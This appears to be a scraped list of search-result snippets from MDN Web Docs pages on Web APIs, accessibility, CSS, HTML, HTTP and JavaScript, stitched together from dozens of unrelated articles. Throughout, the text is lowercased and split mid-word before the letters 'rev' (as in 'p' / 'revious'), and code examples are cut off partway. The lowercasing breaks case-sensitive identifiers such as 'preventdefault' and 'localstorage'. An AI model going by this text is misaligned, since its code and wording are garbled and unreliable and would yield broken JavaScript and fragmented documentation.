this proves to the server that a user is in possession of the private key required for authentication without
revealing any secrets over the network.
...the primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the p
reviously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing.
Using the Web Speech API - Web APIs
]; var grammar = '#jsgf v1.0; grammar colors; public <color> = ' + colors.join(' | ') + ' ;' the grammar format used is jspeech grammar format (jsgf) — you can find a lot more about it at the p
revious link to its spec.
... inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); in the final part of...
Using the Web Storage API - Web APIs
these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to p
revent the pitfalls associated with using plain objects as key-value stores.
... testing whether your storage has been populated to start with, in main.js, we test whether the storage object has already been populated (i.e., the page was p
reviously accessed): if(!localstorage.getitem('bgcolor')) { populatestorage(); } else { setstyles(); } the storage.getitem() method is used to get a data item from storage; in this case, we are testing to see whether the bgcolor item exists; if not, we run populatestorage() to add the existing customization values to the storage.
window.postMessage() - Web APIs
this mechanism provides control over where messages are sent; for example, if postmessage() was used to transmit a password, it would be absolutely critical that this argument be a uri whose origin is the same as the intended receiver of the message containing the password, to p
revent interception of the password by a malicious third party.
...web context scripts can use custom events to communicate with content scripts (with randomly generated event names, if needed, to p
revent snooping from the guest page).
Window.requestAnimationFrame() - Web APIs
when callbacks queued by requestanimationframe() begin to fire multiple callbacks in a single frame, each receives the same timestamp even though time has passed during the computation of every p
revious callback's workload.
... living standard no change, supersedes the p
revious one.
Window.speechSynthesis - Web APIs
inside the inputform.onsubmit handler, we stop the form submitting with p
reventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
...ces[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment ...
WritableStream.WritableStream() - Web APIs
this method will be called only after p
revious writes have succeeded, and never after the stream is closed or aborted (see below).
...calling close() too early can p
revent data from being written.
XRSession.cancelAnimationFrame() - Web APIs
the cancelanimationframe() method of the xrsession interface cancels an animation frame which was p
reviously requested by calling requestanimationframe.
... syntax xrsession.cancelanimationframe(handle); parameters handle the unique value returned by the call to requestanimationframe() that p
reviously scheduled the animation callback.
XRSession.onsqueeze - Web APIs
this is determined by comparing the input source's handedness against the value of a handedness property on a user object we've established p
reviously.
... xrsession.onsqueeze = event => { if (event.inputsource.handedness != user.handedness) { handleoffhandsqueeze(event.inputsource, event.frame); } }; finishing an ongoing squeeze action this example exapnds somewhat on the p
revious example by demonstrating a way to implement the ability for the user to drop an object that was p
reviously picked up by the user..
XRSession.requestAnimationFrame() - Web APIs
you can cancel a p
reviously scheduled animation by calling cancelanimationframe().
...to p
revent two loops from // rendering in parallel, skip drawing in this one until the session ends.
XRView - Web APIs
so you should process the view list every time without making assumptions based on p
revious frames.
...the createteleporttransform() function returns the transform needed to move and rotate an object whose current situation is described by the reference space refspace to a new position and orientation which is computed using p
reviously recorded mouse and keyboard input data which has generated offsets for yaw, pitch, and position along all three axes.
x-ms-aria-flowfrom - Accessibility
the x-ms-aria-flowfrom property specifies the id of the p
revious element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order.
... syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an id selector to define which p
revious element the reading order will flow from.
ARIA: feed role - Accessibility
providing reading mode keys that move dom focus to the next and p
revious articles.
... page up: move focus to p
revious article.
ARIA: grid role - Accessibility
result; do { result = moveto(i, event.target.dataset.col); i++; } while (result == false); break; case "pagedown": var i = maxrow; var result; do { result = moveto(i, event.target.dataset.col); i--; } while (result == false); break; case "enter": alert(event.target.textcontent); break; } event.p
reventdefault(); }); html <table role="grid" aria-labelledby="calendarheader"> <caption id="calendarheader">september 2018</caption> <thead role="rowgroup"> <tr role="row"> <td></td> <th role="columnheader" aria-label="sunday">s</th> <th role="columnheader" aria-label="monday">m</th> <th role="columnheader" aria-label="tuesday">t</th> <th role="columnheader...
...result; do { result = moveto(i, event.target.dataset.col); i++; } while (result == false); break; case "pagedown": var i = maxrow; var result; do { result = moveto(i, event.target.dataset.col); i--; } while (result == false); break; case "enter": alert(event.target.textcontent); break; } event.p
reventdefault(); }); more examples data grid examples layout grids examples w3c/wai tutorial: tables accessibility concerns even if the keyboard use is properly implemented, some users might not be aware that they have to use the arrow keys.
ARIA: tab role - Accessibility
← focuses and optionally activates the p
revious tab in the tab list.
...each tab is a button with the attributes p
reviously mentioned.
An overview of accessible web applications and widgets - Accessibility
this provides a much more consistent user experience than was possible in the p
revious generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.
...for example, using the left and right arrow keys should move focus to the p
revious and next menu items.
Architecture - Accessibility
p
reviously the hyper link interface was really only for links, but the design could not fully represent an html document hierarchy.
...navigating p
revious requires returning to the embed character in the parent accessible when the point of regard reaches the end of text in the corresponding child accessible for the embed.
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
[important] accnavigate: navigate to the first/last child, p
revious/next sibling, up, down, left or right from this iaccessible.
...realize that it's about both pride and
revenue for these companies, and that they need to sell a lot of copies of their software to make up the work they put in to support your app.
Web Accessibility: Understanding Colors and Luminance - Accessibility
understaning color, luminance, and saturation is important in meeting wcag 2 accessibility guidelines in terms of ensuring enough color contrast for sighted users with color blindness or reduced vision and p
reventing seizures and other physical reactions in people with vestibular disorders.
... light adaptation is the
reverse.
Operable - Accessibility
the only exception to this is where a page is one step in a process, so should only logically have links to the p
revious and next steps.
... understanding pointer gestures 2.5.2 pointer cancellation (a) added in 2.1 for functionality that can be operated using a single-pointer at least one of the following is true: no down-event, abort/undo, up
reversal or essential.
Accessibility
accessibility (often abb
reviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
... wai-aria basics following on from the p
revious article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
-moz-image-rect - CSS: Cascading Style Sheets
function rotate() { var p
revstyle = window.getcomputedstyle(document.getelementbyid("box4"), null).getpropertyvalue("background-image"); // now that we've saved the last one, start rotating for (var i=1; i<=4; i++) { var curid = "box" + i; // shift the background images var curstyle = window.getcomputedstyle(document.getelementbyid(curid), null).getpropertyvalue("background-image"); document.getelemen...
...tbyid(curid).style.backgroundimage = p
revstyle; p
revstyle = curstyle; } } this uses window.getcomputedstyle() to fetch the style of each element, shifting it to the following element.
@page - CSS: Cascading Style Sheets
working draft no change from css level 2 (
revision 1), though more css at-rules can be used inside a @page.
... css level 2 (
revision 1)the definition of '@page' in that specification.
Typical use cases of Flexbox - CSS: Cascading Style Sheets
to p
revent the image growing too large, add a max-width to the image.
... .media .content { flex: 3; padding: 10px; } .image { flex: 1; } flipping the media object to switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-
reverse.
In Flow and Out of Flow - CSS: Cascading Style Sheets
in the p
revious guide i explained block and inline layout in normal flow.
... when you do anything to remove, or shift an item from where it would be placed in normal flow, you can expect to need to do some managing of the content and the content around it to p
revent overlaps.
Grid template areas - CSS: Cascading Style Sheets
in the p
revious guide we looked at grid lines, and how to position items against those lines.
... .wrapper { display: grid; grid: "hd hd hd hd hd hd hd hd hd" minmax(100px, auto) "sd sd sd main main main main main main" minmax(100px, auto) "ft ft ft ft ft ft ft ft ft" minmax(100px, auto) / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ; } we will
revisit the other functionality offered by this shorthand later in these guides when we take a look at auto placement and the grid-auto-flow property.
Layout using named grid lines - CSS: Cascading Style Sheets
in p
revious guides we’ve looked at placing items by the lines created by defining grid tracks and also how to place items using named template areas.
... implicit grid lines from named areas we have seen how named lines create a named area, and this also works in
reverse.
Stacking context example 2 - CSS: Cascading Style Sheets
there are the same four divs of the p
revious example, but now z-index properties are assigned on both levels of the hierarchy.
...div #4 belongs to the stacking context created by div #3, and as explained p
reviously div #3 (and all its content) is under div #2.
The stacking context - CSS: Cascading Style Sheets
the stacking context in the p
revious part of this article, using z-index, the rendering order of certain elements is influenced by their z-index value.
... within a stacking context, child elements are stacked according to the same rules p
reviously explained.
CSS values and units - CSS: Cascading Style Sheets
a fourth value of
revert was added in the cascade level 4 specification, but it does not currently have good browser support.
... css level 2 (
revision 1) recommendation css level 1 recommendation initial definition.
Comments - CSS: Cascading Style Sheets
a css comment is used to add explanatory notes to the code or to p
revent the browser from interpreting specific parts of the style sheet.
... syntax comments can be placed whe
rever white space is allowed within a style sheet.
background-image - CSS: Cascading Style Sheets
candidate recommendation from css2
revision 1, the property has been extended to support multiple backgrounds and any <image> css data type.
... css level 2 (
revision 1)the definition of 'background-image' in that specification.
border-width - CSS: Cascading Style Sheets
ngthborder-left-width: a lengthborder-right-width: a lengthborder-top-width: a length formal syntax <line-width>{1,4}where <line-width> = <length> | thin | medium | thick examples a mix of values and lengths html <p id="sval"> one value: 6px wide border on all 4 sides</p> <p id="bival"> two different values: 2px wide top and bottom border, 10px wide right and left border</p> <p id="t
reval"> three different values: 0.3em top, 9px bottom, and zero width right and left</p> <p id="fourval"> four different values: "thin" top, "medium" right, "thick" bottom, and 1em left</p> css #sval { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #t
reval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: s...
... css level 2 (
revision 1)the definition of 'border-width' in that specification.
break-inside - CSS: Cascading Style Sheets
/* keyword values */ break-inside: auto; break-inside: avoid; break-inside: avoid-page; break-inside: avoid-column; break-inside: avoid-region; /* global values */ break-inside: inherit; break-inside: initial; break-inside: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the p
revious element, the break-before value of the next element, and the break-inside value of the containing element.
... notes on compatibility prior to firefox 65, the older property of page-break-inside will work in firefox to p
revent breaks in columns, as well as pages.
<dimension> - CSS: Cascading Style Sheets
3sec the seconds unit is abb
reviated "s" not "sec".
... candidate recommendation adds ch, rem, vw, vw, vmin, vmax, q css level 2 (
revision 1)the definition of '<dimension>' in that specification.
font-variant - CSS: Cascading Style Sheets
you can also set the css level 2 (
revision 1) values of font-variant, (that is, normal or small-caps), by using the font shorthand.
... css level 2 (
revision 1)the definition of 'font-variant' in that specification.
font - CSS: Cascading Style Sheets
as with any shorthand property, any individual value that is not specified is set to its corresponding initial value (possibly overriding values p
reviously set using non-shorthand properties).
... css level 2 (
revision 1)the definition of 'font-weight' in that specification.
inherit - CSS: Cascading Style Sheets
candidate recommendation no significant change from css level 2 (
revision 1).
... css level 2 (
revision 1)the definition of 'inherit' in that specification.
Inheritance - CSS: Cascading Style Sheets
for example: font { all:
revert; font-size: 200%; font-weight: bold; } this
reverts the style of the font property to the user agent's default unless a user stylesheet exists, in which case that is used instead.
... see also css values for controlling inheritance: inherit, initial, unset, and
revert introducing the css cascade cascade and inheritance css key concepts: css syntax, at-rule, comments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values.
left - CSS: Cascading Style Sheets
when both left and right are defined, and width constraints don't p
revent it, the element will stretch to satisfy both.
... css level 2 (
revision 1)the definition of 'left' in that specification.
max-height - CSS: Cascading Style Sheets
it p
revents the used value of the height property from becoming larger than the value specified for max-height.
... css level 2 (
revision 1)the definition of 'max-height' in that specification.
max-width - CSS: Cascading Style Sheets
it p
revents the used value of the width property from becoming larger than the value specified by max-width.
... css level 2 (
revision 1)the definition of 'max-width' in that specification.
min-height - CSS: Cascading Style Sheets
it p
revents the used value of the height property from becoming smaller than the value specified for min-height.
... css level 2 (
revision 1)the definition of 'min-height' in that specification.
min-width - CSS: Cascading Style Sheets
it p
revents the used value of the width property from becoming smaller than the value specified for min-width.
... css level 2 (
revision 1)the definition of 'min-width' in that specification.
overflow-wrap - CSS: Cascading Style Sheets
the overflow-wrap css property applies to inline elements, setting whether the browser should insert line breaks within an otherwise unbreakable string to p
revent text from overflowing its line box.
... anywhere to p
revent overflow, an otherwise unbreakable string of characters — like a long word or url — may be broken at any point if there are no otherwise-acceptable break points in the line.
overflow - CSS: Cascading Style Sheets
browsers always display scrollbars whether or not any content is actually clipped, p
reventing scrollbars from appearing or disappearing as content changes.
... working draft changed syntax to allow one or two keywords instead of only one css level 2 (
revision 1)the definition of 'overflow' in that specification.
overscroll-behavior-block - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing block overscrolling in this demo we have two block-level boxes, one inside the other.
overscroll-behavior-inline - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing inline overscrolling in this demo we have two block-level boxes, one inside the other.
overscroll-behavior-x - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing an underlying element from scrolling horizontally in our simple overscroll-behavior-x example (see source code also), we have two block-level boxes, one inside the other.
overscroll-behavior-y - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing an underlying element from scrolling vertically .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } see overscroll-behavior for a full example and explanation.
Specified value - CSS: Cascading Style Sheets
however, the border is not an inheriting property.</p> </div> css .fun { border: 1px dotted pink; font-family: fantasy; } p { color: green; } result specifications specification status comment css level 2 (
revision 2)the definition of 'cascaded value' in that specification.
... working draft css level 2 (
revision 1)the definition of 'cascaded value' in that specification.
<string> - CSS: Cascading Style Sheets
candidate recommendation no significant change from css level 2 (
revision 1).
... css level 2 (
revision 1)the definition of '<string>' in that specification.
url() - CSS: Cascading Style Sheets
candidate recommendation no significant change from css level 2 (
revision 1).
... css level 2 (
revision 1)the definition of 'uri()' in that specification.
<url> - CSS: Cascading Style Sheets
candidate recommendation no significant change from css level 2 (
revision 1).
... css level 2 (
revision 1)the definition of '<uri>' in that specification.
Used value - CSS: Cascading Style Sheets
computed value and used value: (taken from css 2.1 changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (
revision 2)the definition of 'used value' in that specification.
... css level 2 (
revision 1)the definition of 'used value' in that specification.
word-break - CSS: Cascading Style Sheets
the word-break css property sets whether line breaks appear whe
rever the text would otherwise overflow its content box.
... break-all to p
revent overflow, word breaks should be inserted between any two characters (excluding chinese/japanese/korean text).
word-spacing - CSS: Cascading Style Sheets
working draft replaces the p
revious values with a <spacing-limit> value that defines the same thing, plus the <percentage> value.
... css level 2 (
revision 1)the definition of 'word-spacing' in that specification.
CSS: Cascading Style Sheets
p
reviously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation.
... get started tutorials our css learning area features multiple modules that teach css from the ground up — no p
revious knowledge required.
Adding captions and subtitles to HTML5 video - Developer guides
modifications to the html and css this section summarises the modifications made to the p
revious article's code in order to facilitate the addition of subtitles to the video.
... subtitle implementation a lot of what we do to access the video subtitles
revolves around javascript.
Creating and triggering events - Developer guides
function simulateclick() { const event = new mouseevent('click', { view: window, bubbles: true, cancelable: true }); const cb = document.getelementbyid('checkbox'); const cancelled = !cb.dispatchevent(event); if (cancelled) { // a handler called p
reventdefault.
... alert("cancelled"); } else { // none of the handlers called p
reventdefault.
Rich-Text Editing in Mozilla - Developer guides
starting in firefox 3, mozilla also supports internet explorer's contenteditable attribute which allows any element to become editable or non-editable (the latter for when p
reventing change to fixed elements in an editable environment).
... firefox 3 and contenteditable original document information author(s): doron rosenberg, netscape communications published: 04 apr 2003
revised: 01 jul 2003
revised: 24 apr 2005, joel coreson
revised: 28 nov 2006, ken kuhns, computronicsusa
revised: 19 dec 2007, mark finkle ...
Localizations and character encodings - Developer guides
unfortunately, using utf-8 and declaring that utf-8 was used was not always the p
revalent way of offering web content.
...note that the fallback encoding as defined by the p
revious sentence does not necessarily need to be able to represent the characters needed for the language of the localization!
<a>: The Anchor element - HTML: Hypertext Markup Language
revobsolete since html5 specified a
reverse link; the opposite of the rel attribute.
... onclick events anchor elements are often abused as fake buttons by setting their href to # or javascript:void(0) to p
revent the page from refreshing, then listening for their click events .
<article>: The Article Contents element - HTML: Hypertext Markup Language
examples <article class="film_
review"> <header> <h2>jurassic park</h2> </header> <section class="main_
review"> <p>dinos were great!</p> </section> <section class="user_
reviews"> <article class="user_
review"> <p>way too scary for me.</p> <footer> <p> posted on <time datetime="2015-05-16 19:00">may 16</time> by lisa.
... </p> </footer> </article> <article class="user_
review"> <p>i agree, dinos are my favorite.</p> <footer> <p> posted on <time datetime="2015-05-17 19:00">may 17</time> by tom.
<input type="button"> - HTML: Hypertext Markup Language
this is very similar to the p
revious example, except that the disabled attribute is set on the <fieldset> when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed.
... examples the below example shows a very simple drawing app created using a <canvas> element and some simple css and javascript (we'll hide the css for b
revity).
<input type="color"> - HTML: Hypertext Markup Language
colorwell.select(); appearance variations as p
reviously mentioned, when a browser doesn't support a color picker interface, its implementation of color inputs will be a text box that validates the contents automatically to ensure that the value is in the correct format.
... as you make changes in the color picker, the first paragraph's color changes, as a p
review (this uses the <code>input</code> event).
<input type="hidden"> - HTML: Hypertext Markup Language
this kind of attack is called a cross site request forgery (csrf); pretty much any reputable server-side framework uses hidden secrets to p
revent such attacks.
... as stated p
reviously, placing the secret in a hidden input doesn't inherently make it secure.
<input type="password"> - HTML: Hypertext Markup Language
using password inputs password input boxes generally work just like other textual input boxes; the main difference is the obscuring of the content to p
revent people near the user from reading the password.
...this example expands on the p
revious one by specifying that the user's pin must be at least four and no more than eight digits.
<tbody>: The Table Body element - HTML: Hypertext Markup Language
let's take the p
revious example, add some more students to the list, and update the table so that instead of listing each student's major on every row, the students are grouped by major, with heading rows for each major.
... result first, the resulting table, so you know what we're building: html the
revised html looks like this: <table> <thead> <tr> <th>student id</th> <th>name</th> </tr> </thead> <tbody> <tr> <th colspan="2">computer science</th> </tr> <tr> <td>3741255</td> <td>jones, martha</td> </tr> <tr> <td>4077830</td> <td>pierce, benjamin</td> </tr> <tr> <td>5151701</td> <td>kirk, james</td> </tr> </tbody> <tbody> <tr> <th colspan="2">russian literature</th> </tr> <tr> <td>3971244</td> <td>nim, victor</td> </tr> </tbody> <tbody> <tr> <th colspan="2">astrophysics</th> </tr> <tr> <td>4100332</td> <td>petrov, alexandra</td> </t...
itemscope - HTML: Hypertext Markup Language
i like to add a dash of nutmeg.</span> <br> <span itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> <span itemprop="ratingvalue">4.0</span> stars based on <span itemprop="
reviewcount">35</span>
reviews </span> <br> prep time: <time datetime="pt30m" itemprop="preptime">30 min</time><br> cook time: <time datetime="pt1h" itemprop="cooktime">1 hou</time>r<br> total time: <time datetime="pt1h30m" itemprop="totaltime">1 hour 30 min</time><br> yield: <span itemprop="recipeyield">1 9" pie (8 servings)</span><br> <span itemprop="nutrition" itemscope itemtype="htt...
... itemprop author [person] itemprop name carol smith itemscope itemprop[itemtype] aggregaterating [aggregaterating] itemprop ratingvalue 4.0 itemprop
reviewcount 35 itemscope itemprop[itemtype] nutrition [nutritioninformation] itemprop servingsize 1 medium slice itemprop calories 250 cal itemprop fatcontent 12 g note: a handy tool for extracting microdata structures from html is google's structured data testing tool.
Microdata - HTML: Hypertext Markup Language
commonly used vocabularies: creative works: creativework, book, movie, musicrecording, recipe, tvseries embedded non-text objects: audioobject, imageobject, videoobject event health and medical types: notes on the health and medical types under medicalentity organization person place, localbusiness, restaurant product, offer, aggregateoffer
review, aggregaterating action thing intangible major search engine operators like google, microsoft, and yahoo!
...for example, yandex, a major search engine in russia, supports microformats such as hcard (company contact information), hrecipe (food recipe), h
review (market
reviews) and hproduct (product data) and provides its own format for the definition of the terms and encyclopedic articles.
Microformats - HTML: Hypertext Markup Language
summary microformats (sometimes abb
reviated μf) are standards used to embed semantics & structured data in html, and provide an api to be used by search engines, aggregators, and other tools.
...microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than p
revious approaches of using rdfa and microdata which require learning new attributes.
Evolution of HTTP - HTTP
more than 15 years of extensions thanks to its extensibility – creating new headers or methods is easy – and even if the http/1.1 protocol was refined over two
revisions, rfc 2616 published in june 1999 and the series of rfc 7230-rfc 7235 published in june 2014 in p
revision of the release of http/2, this protocol has been extremely stable over more than 15 years.
...like with http/1.x p
reviously, http's extensibility is still being used to add new features.
Resource URLs - HTTP
for example, a script on browserleaks highlights what firefox
reveals when queried by a simple script running on the site (you can find the code in https://browserleaks.com/firefox#more).
...for example: http://searchfox.org/mozilla-central/
rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575 web sites can easily collect firefox default preferences by overriding this pref() function and using the script resource:///defaults/preferences/firefox.js.
Connection management in HTTP/1.x - HTTP
this connection will not stay open fo
rever: idle connections are closed after some time (a server may use the keep-alive header to specify a minimum time the connection should be kept open).
...most http/2 implementations use a technique called connection coalescing to
revert eventual domain sharding.
Using Feature Policy - HTTP
you can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to p
revent regressions.
...p
reventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.
Cross-Origin-Resource-Policy - HTTP
note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, p
reventing visitors from being able to read past the first page of some pdfs.
... due to a bug in firefox, setting cross-origin-resource-policy can p
revent some resources (such as pdfs) from being downloaded in some circumstances.
If-Match - HTTP
there are two common use cases: for get and head methods, used in combination with a range header, it can guarantee that the new ranges requested comes from the same resource than the p
revious one.
... for other methods, and in particular for put, if-match can be used to p
revent the lost update problem.
Referer - HTTP
the referer request header contains the address of the p
revious web page from which a link to the currently requested page was followed.
... header type request header forbidden header name yes syntax referer: <url> directives <url> an absolute or partial address of the p
revious web page from which a link to the currently requested page was followed.
Warning - HTTP
note: the warning header is soon to be deprecated; see warning (https://github.com/httpwg/http-core/issues/139) and warning: header & stale-while-
revalidate (https://github.com/whatwg/fetch/issues/913) for more details.
... 111
revalidation failed an attempt to validate the response failed, due to an inability to reach the server.
Redirections in HTTP - HTTP
there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last fo
rever.
... 304 not modified sent for
revalidated conditional requests.
500 Internal Server Error - HTTP
the hypertext transfer protocol (http) 500 internal server error server error response code indicates that the server encountered an unexpected condition that p
revented it from fulfilling the request.
...sometimes, server administrators log error responses like the 500 status code with more details about the request to p
revent the error from happening again in the future.
Expressions and operators - JavaScript
« p
reviousnext » this chapter describes javascript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more.
...super.functiononparent([arguments]); « p
reviousnext » ...
Grammar and types - JavaScript
« p
reviousnext » this chapter discusses javascript's basic grammar, variable declarations, data types and literals.
... « p
reviousnext » ...
Keyed collections - JavaScript
« p
reviousnext » this chapter introduces collections of data which are indexed by a key; map and set objects contain elements which are iterable in the order of insertion.
... « p
reviousnext » ...
JavaScript modules - JavaScript
« p
revious this guide gives you all you need to get started with javascript module syntax.
...in our renaming directory you'll see the same module system as in the p
revious example, except that we've added circle.js and triangle.js modules to draw and report on circles and triangles.
Numbers and dates - JavaScript
« p
reviousnext » this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascript.
... « p
reviousnext » ...
Regular expressions - JavaScript
« p
reviousnext » regular expressions are patterns used to match character combinations in strings.
... the roles of "class" and "argument" get
reversed: in the case of .match(), the string class (or data type) owns the method and the regular expression is just an argument, while in the case of .exec(), it is the regular expression that owns the method, with the string being the argument.
Text formatting - JavaScript
« p
reviousnext » this chapter introduces how to work with strings and text in javascript.
... « p
reviousnext » ...
TypeError: can't access dead object - JavaScript
the javascript exception "can't access dead object" occurs when firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed to improve in memory usage and to p
revent memory leaks.
... to improve in memory usage and to p
revent memory leaks, firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed.
Array.prototype.flat() - JavaScript
flatdeep(val, d - 1) : val), []) : arr.slice(); }; flatdeep(arr, infinity); // [1, 2, 3, 4, 5, 6] use a stack // non recursive flatten deep using a stack // note that depth control is hard/inefficient as we will need to tag each value with its own depth // also possible w/o
reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value from stack const next = stack.pop(); if(array.isarray(next)) { // push back array items, won't modify the original input stack.push(...next); } else { res.push(next); } } //
revers...
...e to restore input order return res.
reverse(); } const arr = [1, 2, [3, 4, [5, 6]]]; flatten(arr); // [1, 2, 3, 4, 5, 6] use generator function function* flatten(array, depth) { if(depth === undefined) { depth = 1; } for(const item of array) { if(array.isarray(item) && depth > 0) { yield* flatten(item, depth - 1); } else { yield item; } } } const arr = [1, 2, [3, 4, [5, 6]]]; const flattened = [...flatten(arr, infinity)]; // [1, 2, 3, 4, 5, 6] please do not add polyfills on this article.
Array.prototype.push() - JavaScript
do not use this method if the second array (mo
revegs in the example) is very large because the maximum number of parameters that one function can take is limited in practice.
... let vegetables = ['parsnip', 'potato'] let mo
revegs = ['celery', 'beetroot'] // merge the second array into the first one // equivalent to vegetables.push('celery', 'beetroot') array.prototype.push.apply(vegetables, mo
revegs) console.log(vegetables) // ['parsnip', 'potato', 'celery', 'beetroot'] using an object in an array-like fashion as mentioned above, push is intentionally generic, and we can use that to our advantage.
BigInt - JavaScript
const p
reviousmaxsafe = bigint(number.max_safe_integer) // ↪ 9007199254740991n const maxplusone = p
reviousmaxsafe + 1n // ↪ 9007199254740992n const thefuture = p
reviousmaxsafe + 2n // ↪ 9007199254740993n, this works now!
... const multi = p
reviousmaxsafe * 2n // ↪ 18014398509481982n const subtr = multi – 10n // ↪ 18014398509481972n const mod = multi % 10n // ↪ 2n const bign = 2n ** 54n // ↪ 18014398509481984n bign * -1n // ↪ –18014398509481984n the / operator also works as expected with whole numbers.
BigInt64Array - JavaScript
bigint64array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
BigUint64Array - JavaScript
biguint64array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Float32Array - JavaScript
float32array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Float64Array - JavaScript
float64array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Int16Array - JavaScript
int16array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Int32Array - JavaScript
int32array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
Int8Array - JavaScript
int8array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first.
... see also array.prototype.
reverse().
JSON - JavaScript
static methods json.parse(text[,
reviver]) parse the string text as json, optionally transform the produced value and its properties, and return the value.
...the
reviver option allows for interpreting what the replacer has used to stand in for other datatypes.
Object.fromEntries() - JavaScript
object.fromentries() performs the
reverse of object.entries().
..., 'bar'], ['baz', 42] ]); const obj = object.fromentries(map); console.log(obj); // { foo: "bar", baz: 42 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]; const obj = object.fromentries(arr); console.log(obj); // { 0: "a", 1: "b", 2: "c" } object transformations with object.fromentries, its
reverse method object.entries(), and array manipulation methods, you are able to transform objects like this: const object1 = { a: 1, b: 2, c: 3 }; const object2 = object.fromentries( object.entries(object1) .map(([ key, val ]) => [ key, val * 2 ]) ); console.log(object2); // { a: 2, b: 4, c: 6 } please do not add polyfills on mdn pages.
Object.isExtensible() - JavaScript
an object can be marked as non-extensible using object.p
reventextensions(), object.seal(), or object.freeze().
...object.p
reventextensions(empty); object.isextensible(empty); // === false // sealed objects are by definition non-extensible.
Object.isSealed() - JavaScript
object.p
reventextensions(empty); object.issealed(empty); // === true // the same is not true of a non-empty object, // unless its properties are all non-configurable.
